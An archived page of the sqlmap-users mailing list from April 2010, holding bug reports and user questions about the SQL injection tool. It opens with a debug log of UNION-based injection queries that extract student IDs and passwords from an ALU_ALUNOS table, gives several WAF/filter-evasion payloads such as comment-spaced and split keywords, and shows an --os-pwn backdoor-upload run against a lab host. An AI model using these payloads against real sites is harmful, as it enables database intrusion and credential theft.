CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA AS VARCHAR(4000)), CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=1-- AND 'qGli'='qGli [22:52:51] [DEBUG] performed 2 queries in 0 seconds [22:52:51] [DEBUG] query: ' UNION ALL SELECT NULL, CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS VARCHAR(4000)), CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA AS VARCHAR(4000)), CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=2-- AND 'EXyf'='EXyf [22:52:53] [DEBUG] performed 3 queries in 1 seconds [22:52:53] [DEBUG] query: ' UNION ALL SELECT NULL, CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS VARCHAR(4000)), CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA AS VARCHAR(4000)), CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=3-- AND 'CLyw'='CLyw [22:52:56] [DEBUG] performed 4 queries in 2 seconds [22:52:56] [DEBUG] query: ' UNION ALL SELECT NULL, CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS VARCHAR(4000)), CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA AS VARCHAR(4000)), CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=4-- AND 'nHQn'='nHQn [22:52:57] [DEBUG] performed 5 queries in 0 seconds [22:52:57] [DEBUG] query: ' UNION ALL SELECT NULL, CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS VARCHAR(4000)), CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA AS VARCHAR(4000)), CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=5-- AND 'iNmX'='iNmX [22:52:58] [DEBUG] performed 6 queries in 1 seconds [22:52:58] [DEBUG] query: ' UNION ALL SELECT NULL, CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS VARCHAR(4000)), CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA AS VARCHAR(4000)), CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=6-- AND 'mVQM'='mVQM [22:52:58] [DEBUG] performed 7 queries in 0 seconds [22:52:58] [DEBUG] query: ' UNION ALL SELECT NULL, CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS VARCHAR(4000)), CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA AS VARCHAR(4000)), CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=7-- AND 'FuqF'='FuqF [22:52:59] [DEBUG] performed 8 queries in 0 seconds [22:52:59] [DEBUG] query: ' UNION ALL SELECT NULL, CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS VARCHAR(4000)), CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA AS VARCHAR(4000)), CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=8-- AND 'utPd'='utPd [22:53:01] [DEBUG] performed 9 queries in 2 seconds [22:53:01] [DEBUG] query: ' UNION ALL SELECT NULL, CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS VARCHAR(4000)), CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA AS VARCHAR(4000)), CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=9-- AND 'ilBw'='ilBw [22:53:03] [DEBUG] performed 10 queries in 2 seconds [22:53:03] [DEBUG] query: ' UNION ALL SELECT NULL, CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS VARCHAR(4000)), CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA AS VARCHAR(4000)), CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=10-- AND 'YxAK'='YxAK ^C [22:53:04] [ERROR] user aborted [*] shutting down at: 22:53:04 As you can see, it will not stop consultation until the fourth, ignoring parameters passed in ("--start" and "--stop"). I gave ctrl + c in the tenth query. Am I doing something wrong or is it anyway? $ svn info Path: . URL: https://svn.sqlmap.org/sqlmap/trunk/sqlmap Repository Root: https://svn.sqlmap.org/sqlmap Repository UUID: 7eb2e9d7-d917-0410-b3c8-b11144ad09fb Revision: 1588 Node Kind: directory Schedule: normal Last Changed Author: inquisb Last Changed Rev: 1588 Last Changed Date: 2010-04-23 13:34:20 -0300 (Fri, 23 Apr 2010) -- David Gomes Guimarães |
|
From: Ignacio H. <nac...@gm...> - 2010-04-22 16:21:53
|
Some times you can bypass some bad implemented IDS/WAF who looks for specific words like "union", "select" or "from" like David sais in other ways, for example: http://www.site.com/vuln.php?id=323/**/union/**/all/**/select/**/... (replacing spaces by /**/) or: http://www.site.com/vuln.php?id=323 UnIoN aLl SeLeCt... (randomly uppercase/lowercase key words, some ids/waf only looks for "union" or "UNION" but not for "UnIoN") Also i think the sqlmap developpers are working on more sophisticated bypass techniques. 2010/4/22 David Guimaraes <sk...@gm...> > What type of filter is used? It removes certain words and executes the > query, or simply does not run anything at all? > > I've came across a filter that removed certain words of parameters passed > by users, such as UNION, SELECT, DROP, ALTER, UPDATE, and comments like "--" > or "/*". > > To get around, I used this: > > http://www.site.com/vuln.php?id=323 UN--ION A--LL SELE--CT 1,2,3 FRO--M > table > > The query was filtered 1x and resulted in the following expression: > > http://www.site.com/vuln.php?id=323 UNION ALL SELECT 1,2,3 FROM table > > > Hope this help. =) > > > On Thu, Apr 22, 2010 at 2:01 PM, Pagera <pag...@gm...> wrote: > >> hello >> >> is there anyway to avoid server filter ? like filtering union or select >> in the URL? >> >> coz sqlmap seems doesnt work when there is a filtering >> >> thankx >> >> >> ------------------------------------------------------------------------------ >> _______________________________________________ >> sqlmap-users mailing list >> sql...@li... >> https://lists.sourceforge.net/lists/listinfo/sqlmap-users >> > > > > -- > David Gomes Guimarães > > > ------------------------------------------------------------------------------ > > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > |
|
From: David G. <sk...@gm...> - 2010-04-22 16:12:35
|
What type of filter is used? It removes certain words and executes the query, or simply does not run anything at all? I've came across a filter that removed certain words of parameters passed by users, such as UNION, SELECT, DROP, ALTER, UPDATE, and comments like "--" or "/*". To get around, I used this: http://www.site.com/vuln.php?id=323 UN--ION A--LL SELE--CT 1,2,3 FRO--M table The query was filtered 1x and resulted in the following expression: http://www.site.com/vuln.php?id=323 UNION ALL SELECT 1,2,3 FROM table Hope this help. =) On Thu, Apr 22, 2010 at 2:01 PM, Pagera <pag...@gm...> wrote: > hello > > is there anyway to avoid server filter ? like filtering union or select > in the URL? > > coz sqlmap seems doesnt work when there is a filtering > > thankx > > > ------------------------------------------------------------------------------ > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > -- David Gomes Guimarães |
|
From: Pagera <pag...@gm...> - 2010-04-22 15:58:53
|
hello is there anyway to avoid server filter ? like filtering union or select in the URL? coz sqlmap seems doesnt work when there is a filtering thankx |
|
From: Miroslav S. <mir...@gm...> - 2010-04-22 10:35:10
|
Ethan, thank you for your report. We've managed to track the bug down and fix it. Kind regards, Miroslav On Tue, Apr 20, 2010 at 9:19 AM, Ethan Robish <eth...@gm...> wrote: > [root]# ./sqlmap.py -u http://192.168.1.7/insecure.php --method=POST > --data="name=bobby&submit=Search" -p name --os-pwn > > sqlmap/0.8 - automatic SQL injection and database takeover tool > http://sqlmap.sourceforge.net > > [*] starting at: 02:10:57 > > [02:10:57] [WARNING] you did not provide the local path where Metasploit > Framework 3 is installed > [02:10:57] [WARNING] sqlmap is going to look for Metasploit Framework 3 > installation into the environment paths > [02:10:57] [INFO] Metasploit Framework 3 has been found installed in the > '/usr/local/bin' path > [02:10:57] [INFO] using > '/home/ethan/installs/sqlmap/output/192.168.1.7/session' as session file > [02:10:57] [INFO] testing connection to the target url > [02:10:58] [INFO] testing if the url is stable, wait a few seconds > [02:10:59] [INFO] url is stable > [02:10:59] [INFO] testing sql injection on POST parameter 'name' with 0 > parenthesis > [02:11:00] [INFO] testing unescaped numeric injection on POST parameter > 'name' > [02:11:00] [INFO] POST parameter 'name' is not unescaped numeric injectable > [02:11:00] [INFO] testing single quoted string injection on POST parameter > 'name' > [02:11:00] [INFO] confirming single quoted string injection on POST > parameter 'name' > [02:11:00] [INFO] POST parameter 'name' is single quoted string injectable > with 0 parenthesis > [02:11:00] [INFO] testing for parenthesis on injectable parameter > [02:11:01] [INFO] the injectable parameter requires 0 parenthesis > [02:11:01] [INFO] testing MySQL > [02:11:01] [INFO] confirming MySQL > [02:11:02] [INFO] retrieved: 4 > [02:11:03] [INFO] the back-end DBMS is MySQL > web server operating system: Windows > web application technology: PHP 5.3.1, Apache 2.2.14 > back-end DBMS: MySQL >= 5.0.0 > > [02:11:03] [INFO] testing stacked queries support on parameter 'name' > [02:11:03] [INFO] detecting back-end DBMS version from its banner > [02:11:03] [INFO] retrieved: 5.1.41 > [02:11:15] [WARNING] the web application does not support stacked queries on > parameter 'name' > [02:11:15] [INFO] going to use a web backdoor to execute the payload stager > [02:11:15] [INFO] fingerprinting the back-end DBMS operating system > [02:11:15] [INFO] retrieved: \ > [02:11:18] [INFO] the back-end DBMS operating system is Windows > [02:11:18] [INFO] trying to upload the uploader agent > which web application language does the web server support? > [1] ASP (default) > [2] PHP > [3] JSP >> 2 > [02:11:21] [WARNING] unable to retrieve the web server document root > please provide the web server document root [C:/xampp/htdocs/]: > [02:11:22] [INFO] retrieved web server full paths: > 'C:\xampp\htdocs\insecure.php' > please provide any additional web server full path to try to upload the > agent [C:/xampp/htdocs/]: > [02:11:23] [ERROR] unhandled exception in sqlmap/0.8, please copy the > command line and the following text and send by e-mail to > sql...@li.... The developer will fix it as soon as > possible: > sqlmap version: 0.8 > Python version: 2.5.2 > Operating system: linux2 > Traceback (most recent call last): > File "./sqlmap.py", line 77, in main > start() > File "/home/ethan/installs/sqlmap/lib/controller/controller.py", line 259, > in start > action() > File "/home/ethan/installs/sqlmap/lib/controller/action.py", line 144, in > action > conf.dbmsHandler.osPwn() > File "/home/ethan/installs/sqlmap/plugins/generic/takeover.py", line 169, > in osPwn > self.initEnv(web=web) > File "/home/ethan/installs/sqlmap/lib/takeover/abstraction.py", line 155, > in initEnv > self.webInit() > File "/home/ethan/installs/sqlmap/lib/takeover/web.py", line 189, in > webInit > uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True, > raise404=False) > File "/home/ethan/installs/sqlmap/lib/request/connect.py", line 126, in > getPage > conn = urllib2.urlopen(req) > File "/usr/lib/python2.5/urllib2.py", line 124, in urlopen > return _opener.open(url, data) > File "/usr/lib/python2.5/urllib2.py", line 381, in open > response = self._open(req, data) > File "/usr/lib/python2.5/urllib2.py", line 399, in _open > '_open', req) > File "/usr/lib/python2.5/urllib2.py", line 360, in _call_chain > result = func(*args) > File "/usr/lib/python2.5/urllib2.py", line 1107, in http_open > return self.do_open(httplib.HTTPConnection, req) > File "/usr/lib/python2.5/urllib2.py", line 1064, in do_open > h = http_class(host) # will parse host:port > File "/usr/lib/python2.5/httplib.py", line 639, in __init__ > self._set_hostport(host, port) > File "/usr/lib/python2.5/httplib.py", line 651, in _set_hostport > raise InvalidURL("nonnumeric port: '%s'" % host[i+1:]) > InvalidURL: nonnumeric port: '' > > [*] shutting down at: 02:11:23 > > > > ------------------------------------------------------------------------------ > Download Intel® Parallel Studio Eval > Try the new software tools for yourself. Speed compiling, find bugs > proactively, and fine-tune applications for parallel performance. > See why Intel Parallel Studio got high marks during beta. > http://p.sf.net/sfu/intel-sw-dev > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > -- Miroslav Stampar E-mail / Jabber: miroslav.stampar (at) gmail.com Mobile: +385921010204 (HR 0921010204) PGP Key ID: 0xB5397B1B |
|
From: Pagera <nem...@gm...> - 2010-04-22 01:54:58
|
hello is there anyway to avoid server filter ? like filtering union or select in the URL? coz sqlmap seems doesnt work when there is a filtering thankx |
|
From: <shi...@gm...> - 2010-04-20 14:08:40
|
Hi,
here is another one.
[16:05:17] [ERROR] unhandled exception in sqlmap/0.9-dev, please copy the command line and the following text and send by e-mail to sql...@li.... The developer will fix it as soon as possible:
sqlmap version: 0.9-dev
Python version: 2.6.1
Operating system: darwin
Traceback (most recent call last):
File "./sqlmap.py", line 78, in main
start()
File "/Users/hagbart/source/sqlmap_svn/lib/controller/controller.py", line 267, in start
action()
File "/Users/hagbart/source/sqlmap_svn/lib/controller/action.py", line 151, in action
conf.dbmsHandler.osSmb()
File "/Users/hagbart/source/sqlmap_svn/plugins/generic/takeover.py", line 225, in osSmb
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
TypeError: 'NoneType' object is unsubscriptable
[*] shutting down at: 16:05:17
|
|
From: Ethan R. <eth...@gm...> - 2010-04-20 08:04:09
|
I still get the same error message using ./sqlmap.py -u " http://192.168.1.7/insecure.php" --method=POST --data="name=bobby&submit=Search" -p name --os-pwn. Also, same thing if i use ./sqlmap.py --url="http://192.168.1.7/insecure.php" --method=POST --data="name=bobby&submit=Search" -p name --os-pwn Thanks On Tue, Apr 20, 2010 at 1:47 AM, Miroslav Stampar < mir...@gm...> wrote: > Hi. > > Please try this: > ./sqlmap.py -u "http://192.168.1.7/insecure.php" --method=POST > --data="name=bobby&submit=Search" -p name --os-pwn > > Kind regards. > > On Tue, Apr 20, 2010 at 9:19 AM, Ethan Robish <eth...@gm...> > wrote: > > [root]# ./sqlmap.py -u http://192.168.1.7/insecure.php --method=POST > > --data="name=bobby&submit=Search" -p name --os-pwn > > > > sqlmap/0.8 - automatic SQL injection and database takeover tool > > http://sqlmap.sourceforge.net > > > > [*] starting at: 02:10:57 > > > ...................... > > please provide the web server document root [C:/xampp/htdocs/]: > > [02:11:22] [INFO] retrieved web server full paths: > > 'C:\xampp\htdocs\insecure.php' > > please provide any additional web server full path to try to upload the > > agent [C:/xampp/htdocs/]: > > [02:11:23] [ERROR] unhandled exception in sqlmap/0.8, please copy the > > command line and the following text and send by e-mail to > > sql...@li.... The developer will fix it as soon as > > possible: > > sqlmap version: 0.8 > > Python version: 2.5.2 > > Operating system: linux2 > > Traceback (most recent call last): > > File "./sqlmap.py", line 77, in main > > start() > > File "/home/ethan/installs/sqlmap/lib/controller/controller.py", line > 259, > > in start > > action() > > File "/home/ethan/installs/sqlmap/lib/controller/action.py", line 144, > in > > action > > conf.dbmsHandler.osPwn() > > File "/home/ethan/installs/sqlmap/plugins/generic/takeover.py", line > 169, > > in osPwn > > self.initEnv(web=web) > > File "/home/ethan/installs/sqlmap/lib/takeover/abstraction.py", line > 155, > > in initEnv > > self.webInit() > > File "/home/ethan/installs/sqlmap/lib/takeover/web.py", line 189, in > > webInit > > uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True, > > raise404=False) > > File "/home/ethan/installs/sqlmap/lib/request/connect.py", line 126, in > > getPage > > conn = urllib2.urlopen(req) > > File "/usr/lib/python2.5/urllib2.py", line 124, in urlopen > > return _opener.open(url, data) > > File "/usr/lib/python2.5/urllib2.py", line 381, in open > > response = self._open(req, data) > > File "/usr/lib/python2.5/urllib2.py", line 399, in _open > > '_open', req) > > File "/usr/lib/python2.5/urllib2.py", line 360, in _call_chain > > result = func(*args) > > File "/usr/lib/python2.5/urllib2.py", line 1107, in http_open > > return self.do_open(httplib.HTTPConnection, req) > > File "/usr/lib/python2.5/urllib2.py", line 1064, in do_open > > h = http_class(host) # will parse host:port > > File "/usr/lib/python2.5/httplib.py", line 639, in __init__ > > self._set_hostport(host, port) > > File "/usr/lib/python2.5/httplib.py", line 651, in _set_hostport > > raise InvalidURL("nonnumeric port: '%s'" % host[i+1:]) > > InvalidURL: nonnumeric port: '' > > > > [*] shutting down at: 02:11:23 > > > > > > > > > ------------------------------------------------------------------------------ > > Download Intel® Parallel Studio Eval > > Try the new software tools for yourself. Speed compiling, find bugs > > proactively, and fine-tune applications for parallel performance. > > See why Intel Parallel Studio got high marks during beta. > > http://p.sf.net/sfu/intel-sw-dev > > _______________________________________________ > > sqlmap-users mailing list > > sql...@li... > > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > > > > > > > -- > Miroslav Stampar > > E-mail / Jabber: miroslav.stampar (at) gmail.com > Mobile: +385921010204 (HR 0921010204) > PGP Key ID: 0xB5397B1B > |
|
From: Miroslav S. <mir...@gm...> - 2010-04-20 07:47:23
|
Hi. Please try this: ./sqlmap.py -u "http://192.168.1.7/insecure.php" --method=POST --data="name=bobby&submit=Search" -p name --os-pwn Kind regards. On Tue, Apr 20, 2010 at 9:19 AM, Ethan Robish <eth...@gm...> wrote: > [root]# ./sqlmap.py -u http://192.168.1.7/insecure.php --method=POST > --data="name=bobby&submit=Search" -p name --os-pwn > > sqlmap/0.8 - automatic SQL injection and database takeover tool > http://sqlmap.sourceforge.net > > [*] starting at: 02:10:57 > > [02:10:57] [WARNING] you did not provide the local path where Metasploit > Framework 3 is installed > [02:10:57] [WARNING] sqlmap is going to look for Metasploit Framework 3 > installation into the environment paths > [02:10:57] [INFO] Metasploit Framework 3 has been found installed in the > '/usr/local/bin' path > [02:10:57] [INFO] using > '/home/ethan/installs/sqlmap/output/192.168.1.7/session' as session file > [02:10:57] [INFO] testing connection to the target url > [02:10:58] [INFO] testing if the url is stable, wait a few seconds > [02:10:59] [INFO] url is stable > [02:10:59] [INFO] testing sql injection on POST parameter 'name' with 0 > parenthesis > [02:11:00] [INFO] testing unescaped numeric injection on POST parameter > 'name' > [02:11:00] [INFO] POST parameter 'name' is not unescaped numeric injectable > [02:11:00] [INFO] testing single quoted string injection on POST parameter > 'name' > [02:11:00] [INFO] confirming single quoted string injection on POST > parameter 'name' > [02:11:00] [INFO] POST parameter 'name' is single quoted string injectable > with 0 parenthesis > [02:11:00] [INFO] testing for parenthesis on injectable parameter > [02:11:01] [INFO] the injectable parameter requires 0 parenthesis > [02:11:01] [INFO] testing MySQL > [02:11:01] [INFO] confirming MySQL > [02:11:02] [INFO] retrieved: 4 > [02:11:03] [INFO] the back-end DBMS is MySQL > web server operating system: Windows > web application technology: PHP 5.3.1, Apache 2.2.14 > back-end DBMS: MySQL >= 5.0.0 > > [02:11:03] [INFO] testing stacked queries support on parameter 'name' > [02:11:03] [INFO] detecting back-end DBMS version from its banner > [02:11:03] [INFO] retrieved: 5.1.41 > [02:11:15] [WARNING] the web application does not support stacked queries on > parameter 'name' > [02:11:15] [INFO] going to use a web backdoor to execute the payload stager > [02:11:15] [INFO] fingerprinting the back-end DBMS operating system > [02:11:15] [INFO] retrieved: \ > [02:11:18] [INFO] the back-end DBMS operating system is Windows > [02:11:18] [INFO] trying to upload the uploader agent > which web application language does the web server support? > [1] ASP (default) > [2] PHP > [3] JSP >> 2 > [02:11:21] [WARNING] unable to retrieve the web server document root > please provide the web server document root [C:/xampp/htdocs/]: > [02:11:22] [INFO] retrieved web server full paths: > 'C:\xampp\htdocs\insecure.php' > please provide any additional web server full path to try to upload the > agent [C:/xampp/htdocs/]: > [02:11:23] [ERROR] unhandled exception in sqlmap/0.8, please copy the > command line and the following text and send by e-mail to > sql...@li.... The developer will fix it as soon as > possible: > sqlmap version: 0.8 > Python version: 2.5.2 > Operating system: linux2 > Traceback (most recent call last): > File "./sqlmap.py", line 77, in main > start() > File "/home/ethan/installs/sqlmap/lib/controller/controller.py", line 259, > in start > action() > File "/home/ethan/installs/sqlmap/lib/controller/action.py", line 144, in > action > conf.dbmsHandler.osPwn() > File "/home/ethan/installs/sqlmap/plugins/generic/takeover.py", line 169, > in osPwn > self.initEnv(web=web) > File "/home/ethan/installs/sqlmap/lib/takeover/abstraction.py", line 155, > in initEnv > self.webInit() > File "/home/ethan/installs/sqlmap/lib/takeover/web.py", line 189, in > webInit > uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True, > raise404=False) > File "/home/ethan/installs/sqlmap/lib/request/connect.py", line 126, in > getPage > conn = urllib2.urlopen(req) > File "/usr/lib/python2.5/urllib2.py", line 124, in urlopen > return _opener.open(url, data) > File "/usr/lib/python2.5/urllib2.py", line 381, in open > response = self._open(req, data) > File "/usr/lib/python2.5/urllib2.py", line 399, in _open > '_open', req) > File "/usr/lib/python2.5/urllib2.py", line 360, in _call_chain > result = func(*args) > File "/usr/lib/python2.5/urllib2.py", line 1107, in http_open > return self.do_open(httplib.HTTPConnection, req) > File "/usr/lib/python2.5/urllib2.py", line 1064, in do_open > h = http_class(host) # will parse host:port > File "/usr/lib/python2.5/httplib.py", line 639, in __init__ > self._set_hostport(host, port) > File "/usr/lib/python2.5/httplib.py", line 651, in _set_hostport > raise InvalidURL("nonnumeric port: '%s'" % host[i+1:]) > InvalidURL: nonnumeric port: '' > > [*] shutting down at: 02:11:23 > > > > ------------------------------------------------------------------------------ > Download Intel® Parallel Studio Eval > Try the new software tools for yourself. Speed compiling, find bugs > proactively, and fine-tune applications for parallel performance. > See why Intel Parallel Studio got high marks during beta. > http://p.sf.net/sfu/intel-sw-dev > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > -- Miroslav Stampar E-mail / Jabber: miroslav.stampar (at) gmail.com Mobile: +385921010204 (HR 0921010204) PGP Key ID: 0xB5397B1B |
48 messages has been excluded from this view by a project administrator.
